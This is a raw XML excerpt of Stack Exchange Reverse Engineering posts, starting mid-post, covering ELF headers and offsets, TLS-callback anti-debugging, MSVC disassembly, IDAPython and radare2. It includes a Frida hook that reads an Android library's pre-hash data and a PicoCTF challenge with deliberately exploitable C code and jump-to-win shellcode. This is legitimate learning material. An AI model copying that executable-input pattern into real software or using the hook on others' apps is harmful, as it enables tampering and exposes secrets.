0x1&#xA;  Entry point address:               0x404890&#xA;  Start of program headers:          64 (bytes into file)&#xA;  Start of section headers:          108288 (bytes into file)   &amp;lt;---------- e_shoff&#xA;  Flags:                             0x0&#xA;  Size of this header:               64 (bytes)&#xA;  Size of program headers:           56 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           64 (bytes)&#xA;  Number of section headers:         28&#xA;  Section header string table index: 27&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The section header table is usually located at the end of the binary following all of the sections:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/it3TH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/it3TH.png&quot; alt=&quot;section header table location in binary&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in the documentation and mentioned previously, every section has an entry in the section header table. Each entry is a structure that contains information about the section, including its name and its virtual address when the binary is mapped into memory. The name of the section is stored in a struct member called &lt;code&gt;sh_name&lt;/code&gt;, and the address information is stored in a struct member called &lt;code&gt;sh_addr&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cm8mY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cm8mY.png&quot; alt=&quot;section header structure&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rDly4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rDly4.png&quot; alt=&quot;sh_name&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3TEOu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3TEOu.png&quot; alt=&quot;sh_addr&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Retrieving this information is just a matter of correctly parsing these structures within a given binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.linuxjournal.com/article/1059&quot; rel=&quot;nofollow noreferrer&quot;&gt;The ELF Object File Format: Introduction&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.linuxjournal.com/node/1060/print&quot; rel=&quot;nofollow noreferrer&quot;&gt;The ELF Object File Format by Dissection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-11-24T16:24:04.483" LastActivityDate="2017-11-24T16:24:04.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16831" PostTypeId="2" ParentId="16804" CreationDate="2017-11-24T23:30:00.830" Score="1" Body="&lt;p&gt;While it can happen as a result of hand-coded code, it is unlikely in practice to occur as a result of compiled code.  Compilers generally align data appropriately such that a 4-bytes value will begin on a 4-bytes-aligned address, 8-bytes at 8-bytes, etc, to avoid alignment exceptions.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-11-24T23:30:00.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16832" PostTypeId="1" AcceptedAnswerId="16836" CreationDate="2017-11-24T23:41:43.803" Score="2" ViewCount="4520" Body="&lt;p&gt;An android app loads a native library (&lt;code&gt;.so&lt;/code&gt;) using &lt;code&gt;System.loadLibrary&lt;/code&gt;. It then calls a specific function, which takes 3 input variables, and returns a string containing a MD5 hash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the relevant part of the function below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JUja5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JUja5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to see the original, &quot;unhashed&quot; message (which is of course derived from the 3 input variables), instead of it's md5 hash. Is this possible in any way?&lt;/p&gt;&#xA;" OwnerDisplayName="user22348" LastActivityDate="2019-06-05T23:21:09.067" Title="Inject code into JNI function (Android shared library)" Tags="|android|arm|shared-object|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16835" PostTypeId="1" CreationDate="2017-11-25T14:33:57.850" Score="4" ViewCount="8932" Body="&lt;p&gt;I have an app, obfuscated by FSG protector. When i tried to unpack it, the first thign that i had is, when i start the process with the debugger/or attach debugger later, i immediatly receive ACCESS VIOLATION exception, because Tls callback gets executed, with the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0063EE70 public TlsCallback_0&#xA;.text:0063EE70 TlsCallback_0:                          ; DATA XREF: .CRT:TlsCallbacks_0&#xA;.text:0063EE70 mov     [esi-6Dh], ebx&#xA;.text:0063EE73 xlat    byte ptr gs:[ebx]&#xA;.text:0063EE75 retf    155h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How is that even possible?? Are the registers inside tlscallback by default point to some sections/segments? Here the esi is used, but it has some default value, from the &lt;code&gt;ntdll:ntdll_LdrShutdownThread+386&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attach the full stack trace, this is the stack trace from which this callback is called, when i run the application under ida pro+windbg, tls callback is hit prior to entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YAauG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YAauG.png&quot; alt=&quot;stack trace&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;esi points to some &lt;code&gt;DATA&lt;/code&gt; segment inside the application, is this the default os behaviour?&#xA;Also the TLS directory here is defined like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/obfoz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/obfoz.png&quot; alt=&quot;tls&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see TLS_end and TLS_start points to the image base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how is this callback not crashing the program without debugger? And why it is when i attach the debugger? It is some kind of anti-debuggin technique i can't understand&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b8bo8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8bo8.png&quot; alt=&quot;tls callback&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22358" LastActivityDate="2017-12-01T16:10:17.537" Title="Exe protection by TLS callback, trying to understand the behaviour" Tags="|disassembly|obfuscation|dynamic-analysis|protection|entry-point|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16836" PostTypeId="2" ParentId="16832" CreationDate="2017-11-25T17:41:47.597" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;https://www.frida.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;Frida&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frida is a dynamic binary instrumentation tool that allows you to intercept, trace, modify, ... of a running application using a JavaScript debugging logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your purpose, you need to hook the &lt;code&gt;MD5_Update&lt;/code&gt; function using the &lt;a href=&quot;https://www.frida.re/docs/javascript-api/#interceptor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Interceptor&lt;/code&gt;&lt;/a&gt; API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The JavaScript code may look like the following. [Warning: Untested]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Use the mangled form of name MD5_Update below&#xA;Interceptor.attach(Module.findExportByName(&quot;mylib.so&quot;, &quot;MD5_Update&quot;), {&#xA;    onEnter: function (args) &#xA;    {&#xA;        var ptr_data = args[1];&#xA;        var length = args[2];    &#xA;&#xA;        var data = Memory.readByteArray(ptr_data, length);&#xA;        console.log(data);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Further reference:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://11x256.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://11x256.github.io/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.notsosecure.com/instrumenting-native-android-functions-using-frida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.notsosecure.com/instrumenting-native-android-functions-using-frida/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://enovella.github.io/android/reverse/2017/05/20/android-owasp-crackmes-level-3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://enovella.github.io/android/reverse/2017/05/20/android-owasp-crackmes-level-3.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2017-11-25T17:41:47.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16837" PostTypeId="1" AcceptedAnswerId="16861" CreationDate="2017-11-25T18:31:40.590" Score="-1" ViewCount="715" Body="&lt;p&gt;PicoCTF 2017 Shells&#xA;I have a binary and source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;sys/mman.h&amp;gt;&#xA;&#xA;#define AMOUNT_OF_STUFF 10&#xA;&#xA;//TODO: Ask IT why this is here&#xA;void win(){&#xA;    system(&quot;/bin/cat ./flag.txt&quot;);    &#xA;}&#xA;&#xA;&#xA;void vuln(){&#xA;    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);&#xA;    if(stuff == MAP_FAILED){&#xA;        printf(&quot;Failed to get space. Please talk to admin\n&quot;);&#xA;        exit(0);&#xA;    }&#xA;    printf(&quot;Give me %d bytes:\n&quot;, AMOUNT_OF_STUFF);&#xA;    fflush(stdout);&#xA;    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);&#xA;    if(len == 0){&#xA;        printf(&quot;You didn't give me anything :(&quot;);&#xA;        exit(0);&#xA;    }&#xA;&#xA;    void (*func)() = (void (*)())stuff;&#xA;    func();      &#xA;}&#xA;&#xA;int main(int argc, char*argv[]){&#xA;    printf(&quot;My mother told me to never accept things from strangers\n&quot;);&#xA;    printf(&quot;How bad could running a couple bytes be though?\n&quot;);&#xA;    fflush(stdout);&#xA;    vuln();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The goal is to call win() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: &#xA;gdb ./shells&#xA;I have address of win function: 0x08048540&#xA;then i create shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;section .text&#xA;    global _start&#xA;_start:&#xA;    mov eax,0x08048540&#xA;    jmp eax&#xA;&#xA;section .data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after compile an use sehllcode i have the flag.&#xA;But when i compile source code instead of using given binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -m32 -fno-stack-protector -z execstack shells.c -o shells2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This not works anymore, segfault all the time.&#xA;Why with binary file my method works and with compiled source manually not working?&#xA;PS. Flag is in the right place.&lt;/p&gt;&#xA;" OwnerUserId="22359" LastEditorUserId="22359" LastEditDate="2017-11-26T11:41:32.707" LastActivityDate="2017-11-28T22:34:30.890" Title="Shells CTF segfault - wrong address" Tags="|disassembly|assembly|binary-analysis|compilers|gcc|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16840" PostTypeId="1" AcceptedAnswerId="16884" CreationDate="2017-11-25T22:03:44.430" Score="1" ViewCount="311" Body="&lt;p&gt;I don't know if it is asked but, I couldn't find it anything despite &lt;a href=&quot;https://stackoverflow.com/questions/35240343/unable-to-understand-a-disassembling-of-a-function&quot;&gt;this&lt;/a&gt; question. Is it because of disassembler's fault? Or if it is right, why compiler generates this code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ; int __cdecl main(int argc, const char **argv, const char **envp)&#xA; main            proc near               ; CODE XREF: start-7Bp&#xA;&#xA; var_4           = dword ptr -4&#xA; argc            = dword ptr  8&#xA; argv            = dword ptr  0Ch&#xA; envp            = dword ptr  10h&#xA;&#xA;                 push    ebp&#xA;                 mov     ebp, esp&#xA;                 push    ecx&#xA;                 call    ds:GetCurrentProcessId&#xA;                 mov     [ebp+var_4], eax ; &amp;lt;---&#xA;                 mov     eax, [ebp+var_4] ; &amp;lt;---&#xA;                 push    eax&#xA;                 push    offset output&#xA;                 call    printf&#xA;                 add     esp, 8&#xA;&#xA; debugger_wait:                          ; CODE XREF: main+28j&#xA;                 call    ds:IsDebuggerPresent&#xA;                 test    eax, eax&#xA;                 jnz     short debugger_present&#xA;                 jmp     short debugger_wait&#xA; ; ---------------------------------------------------------------------------&#xA;&#xA; debugger_present:                       ; CODE XREF: main+26j&#xA;                 int     3               ; Trap to Debugger&#xA;                 xor     eax, eax&#xA;                 mov     esp, ebp&#xA;                 pop     ebp&#xA;                 retn&#xA; main            endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Marked lines with arrows (from IDA output) shows two &lt;strong&gt;MOV&lt;/strong&gt; operations which semantically equals to nothing (or is it?). This is my source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[], char *envp[])&#xA;{&#xA;    DWORD pid = GetCurrentProcessId();&#xA;    printf(&quot;%d\n&quot;, pid);&#xA;    while (!IsDebuggerPresent());&#xA;    __asm int 0x3;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled with MSVC++ (19.00.24225.1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl.exe dnmProg.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I tried other options, and both /O1 and /O2 doesn't have such structure, but /Ot has same instruction pair. When I compiled it with /Os there is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    ds:GetCurrentProcessId&#xA;mov     [ebp+var_4], eax ; &amp;lt;---&#xA;push    [ebp+var_4]      ; &amp;lt;---&#xA;push    offset printf_parameter&#xA;call    printf_&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2018-08-08T11:39:28.517" LastActivityDate="2018-08-08T11:39:28.517" Title="What does this instruction pairs mean?" Tags="|disassembly|compilers|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="16841" PostTypeId="1" AcceptedAnswerId="16842" CreationDate="2017-11-25T23:52:04.983" Score="3" ViewCount="9353" Body="&lt;p&gt;I have read &lt;code&gt;st_value&lt;/code&gt; from the ELF symbol table, with the value being 4195622. When converted to hex, the value is 400580. I am aware that the file offset is 580 bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how to actually convert the address to file offset concretely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="22178" LastActivityDate="2017-11-26T04:39:28.230" Title="Address to file offset" Tags="|file-format|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16842" PostTypeId="2" ParentId="16841" CreationDate="2017-11-26T04:39:28.230" Score="5" Body="&lt;p&gt;Subtract &lt;code&gt;0x400000&lt;/code&gt; from &lt;code&gt;st_value&lt;/code&gt; since the address is located in the first &lt;code&gt;LOAD&lt;/code&gt; segment of the binary.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;According to the System V ABI (generic), the meaning of the &lt;code&gt;st_value&lt;/code&gt; symbol depends on what type of object file the binary is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Symbol table entries for different object file types have slightly different interpretations&#xA;  for the &lt;code&gt;st_value&lt;/code&gt; member.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;In relocatable files, &lt;code&gt;st_value&lt;/code&gt; holds alignment constraints for a symbol whose section index is &lt;code&gt;SHN_COMMON&lt;/code&gt;.&lt;/li&gt;&#xA;  &lt;li&gt;In relocatable files, &lt;code&gt;st_value&lt;/code&gt; holds a section offset for a defined symbol. That is, &lt;code&gt;st_value&lt;/code&gt; is an offset from the beginning of the section that &lt;code&gt;st_shndx&lt;/code&gt; identifies.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;In executable and shared object files, &lt;code&gt;st_value&lt;/code&gt; holds a virtual address&lt;/strong&gt;. To make these files’ symbols more useful for the dynamic linker, the section offset (file interpretation) gives way to a virtual address (memory interpretation) for which the section number is irrelevant.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An executable ELF64 object file linked by &lt;code&gt;ld&lt;/code&gt; has a canonical base address of &lt;code&gt;0x0000000000400000&lt;/code&gt; given by the linker script variable &lt;code&gt;__executable_start&lt;/code&gt;. This means that one can subtract the value of the base address from the &lt;code&gt;st_value&lt;/code&gt; to find its file offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can verify this by looking at a link map of an ELF64 binary. Here a snippet of the output of &lt;code&gt;ld -M /bin/ls&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Memory Configuration&#xA;&#xA;Name             Origin             Length             Attributes&#xA;*default*        0x0000000000000000 0xffffffffffffffff&#xA;&#xA;Linker script and memory map&#xA;&#xA;LOAD /bin/ls&#xA;                0x0000000000400000                PROVIDE (__executable_start, 0x400000)    &amp;lt;--------------&#xA;                0x0000000000400190                . = (0x400000 + SIZEOF_HEADERS)&#xA;&#xA;.interp         0x0000000000400190       0x1c&#xA; *(.interp)&#xA; .interp        0x0000000000400190       0x1c /bin/ls&#xA;&#xA;.note.ABI-tag   0x00000000004001ac       0x20&#xA; .note.ABI-tag  0x00000000004001ac       0x20 /bin/ls&#xA;&#xA;.note.gnu.build-id&#xA;                0x00000000004001cc       0x24&#xA; *(.note.gnu.build-id)&#xA; .note.gnu.build-id&#xA;                0x00000000004001cc       0x24 /bin/ls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be further verified by examining the section-to-segment mapping of the same binary via &lt;code&gt;readelf -l /bin/ls&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Elf file type is EXEC (Executable file)&#xA;Entry point 0x404890&#xA;There are 9 program headers, starting at offset 64&#xA;&#xA;Program Headers:&#xA;  Type           Offset             VirtAddr           PhysAddr&#xA;                 FileSiz            MemSiz              Flags  Align&#xA;  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040&#xA;                 0x00000000000001f8 0x00000000000001f8  R E    8&#xA;  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238&#xA;                 0x000000000000001c 0x000000000000001c  R      1&#xA;      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]&#xA;  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000  &amp;lt;-------------&#xA;                 0x0000000000019d44 0x0000000000019d44  R E    200000&#xA;  LOAD           0x0000000000019df0 0x0000000000619df0 0x0000000000619df0&#xA;                 0x0000000000000804 0x0000000000001570  RW     200000&#xA;  DYNAMIC        0x0000000000019e08 0x0000000000619e08 0x0000000000619e08&#xA;                 0x00000000000001f0 0x00000000000001f0  RW     8&#xA;  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254&#xA;                 0x0000000000000044 0x0000000000000044  R      4&#xA;  GNU_EH_FRAME   0x000000000001701c 0x000000000041701c 0x000000000041701c&#xA;                 0x000000000000072c 0x000000000000072c  R      4&#xA;  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000&#xA;                 0x0000000000000000 0x0000000000000000  RW     10&#xA;  GNU_RELRO      0x0000000000019df0 0x0000000000619df0 0x0000000000619df0&#xA;                 0x0000000000000210 0x0000000000000210  R      1&#xA;&#xA; Section to Segment mapping:&#xA;  Segment Sections...&#xA;   00     &#xA;   01     .interp &#xA;   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame &#xA;   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss &#xA;   04     .dynamic &#xA;   05     .note.ABI-tag .note.gnu.build-id &#xA;   06     .eh_frame_hdr &#xA;   07     &#xA;   08     .init_array .fini_array .jcr .dynamic .got&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;LOAD&lt;/code&gt; segment has a base address of &lt;code&gt;0x0000000000400000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare the values in the &lt;code&gt;Off&lt;/code&gt; column with those in the &lt;code&gt;Address&lt;/code&gt; column:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -SW /bin/ls&#xA;There are 28 section headers, starting at offset 0x1a700:&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0&#xA;  [ 1] .interp           PROGBITS        0000000000400238 000238 00001c 00   A  0   0  1&#xA;  [ 2] .note.ABI-tag     NOTE            0000000000400254 000254 000020 00   A  0   0  4&#xA;  [ 3] .note.gnu.build-id NOTE            0000000000400274 000274 000024 00   A  0   0  4&#xA;  [ 4] .gnu.hash         GNU_HASH        0000000000400298 000298 000068 00   A  5   0  8&#xA;  [ 5] .dynsym           DYNSYM          0000000000400300 000300 000c18 18   A  6   1  8&#xA;  [ 6] .dynstr           STRTAB          0000000000400f18 000f18 000593 00   A  0   0  1&#xA;  [ 7] .gnu.version      VERSYM          00000000004014ac 0014ac 000102 02   A  5   0  2&#xA;  [ 8] .gnu.version_r    VERNEED         00000000004015b0 0015b0 000090 00   A  6   2  8&#xA;  [ 9] .rela.dyn         RELA            0000000000401640 001640 0000a8 18   A  5   0  8&#xA;  [10] .rela.plt         RELA            00000000004016e8 0016e8 000a80 18   A  5  12  8&#xA;  [11] .init             PROGBITS        0000000000402168 002168 00001a 00  AX  0   0  4&#xA;  [12] .plt              PROGBITS        0000000000402190 002190 000710 10  AX  0   0 16&#xA;  [13] .text             PROGBITS        00000000004028a0 0028a0 00f65a 00  AX  0   0 16&#xA;  [14] .fini             PROGBITS        0000000000411efc 011efc 000009 00  AX  0   0  4&#xA;  [15] .rodata           PROGBITS        0000000000411f20 011f20 0050fc 00   A  0   0 32&#xA;  [16] .eh_frame_hdr     PROGBITS        000000000041701c 01701c 00072c 00   A  0   0  4&#xA;  [17] .eh_frame         PROGBITS        0000000000417748 017748 0025fc 00   A  0   0  8&#xA;  [18] .init_array       INIT_ARRAY      0000000000619df0 019df0 000008 00  WA  0   0  8&#xA;  [19] .fini_array       FINI_ARRAY      0000000000619df8 019df8 000008 00  WA  0   0  8&#xA;  [20] .jcr              PROGBITS        0000000000619e00 019e00 000008 00  WA  0   0  8&#xA;  [21] .dynamic          DYNAMIC         0000000000619e08 019e08 0001f0 10  WA  6   0  8&#xA;  [22] .got              PROGBITS        0000000000619ff8 019ff8 000008 08  WA  0   0  8&#xA;  [23] .got.plt          PROGBITS        000000000061a000 01a000 000398 08  WA  0   0  8&#xA;  [24] .data             PROGBITS        000000000061a3a0 01a3a0 000254 00  WA  0   0 32&#xA;  [25] .bss              NOBITS          000000000061a600 01a5f4 000d60 00  WA  0   0 32&#xA;  [26] .gnu_debuglink    PROGBITS        0000000000000000 01a5f4 000008 00      0   0  1&#xA;  [27] .shstrtab         STRTAB          0000000000000000 01a5fc 0000fe 00      0   0  1&#xA;Key to Flags:&#xA;  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)&#xA;  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)&#xA;  O (extra OS processing required) o (OS specific), p (processor specific)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-11-26T04:39:28.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16843" PostTypeId="1" CreationDate="2017-11-26T05:52:08.260" Score="1" ViewCount="637" Body="&lt;p&gt;This is my first &quot;serious&quot; IDAPython script. As I sorta suspected, it's performing &lt;strong&gt;waaaayyyyy&lt;/strong&gt; too slow so I wanted to ask for some pointers on this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fp = MinEA()&#xA;end = MaxEA()&#xA;&#xA;while fp &amp;lt; end:&#xA;    prev_inst = idc.prev_head(fp,MinEA())&#xA;    prev_prev = idc.prev_head(prev_inst,MinEA())&#xA;    next_inst = idc.next_head(fp,MaxEA())&#xA;    if idc.SegName(fp) == '.text' or idc.SegName(fp) == '.code':&#xA;        if idc.GetMnem(fp) == 'call':&#xA;            if (idc.GetOpnd(fp,0) == 'ds:GetProcAddress') or (idc.GetOpnd(fp,1) == 'ds:GetProcAddress'):&#xA;                if(idc.GetMnem(prev_inst) == 'push'):&#xA;                    if(idc.GetMnem(next_inst) == 'mov' and idc.GetMnem(prev_prev) == 'mov'):&#xA;                        print &quot;GetProcAddress Found at %02X&quot; % hex(fp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is looking for this type of behavior (dynamic API loads):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sjkpD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sjkpD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2018-02-12T20:32:19.537" Title="What is a more efficient way to locate disasm patterns in IDAPython?" Tags="|ida|idapython|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16844" PostTypeId="1" AcceptedAnswerId="16845" CreationDate="2017-11-26T14:00:14.290" Score="9" ViewCount="13037" Body="&lt;p&gt;This is the stack view that I'm getting in radare2 after entering the visual panel mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sZGof.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sZGof.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the view from immunity debugger:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PGEhq.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PGEhq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get a view similar to immunity debugger in radare2?&lt;/p&gt;&#xA;" OwnerUserId="15330" LastActivityDate="2017-11-26T17:01:08.673" Title="How to get a nice stack view in radare2?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
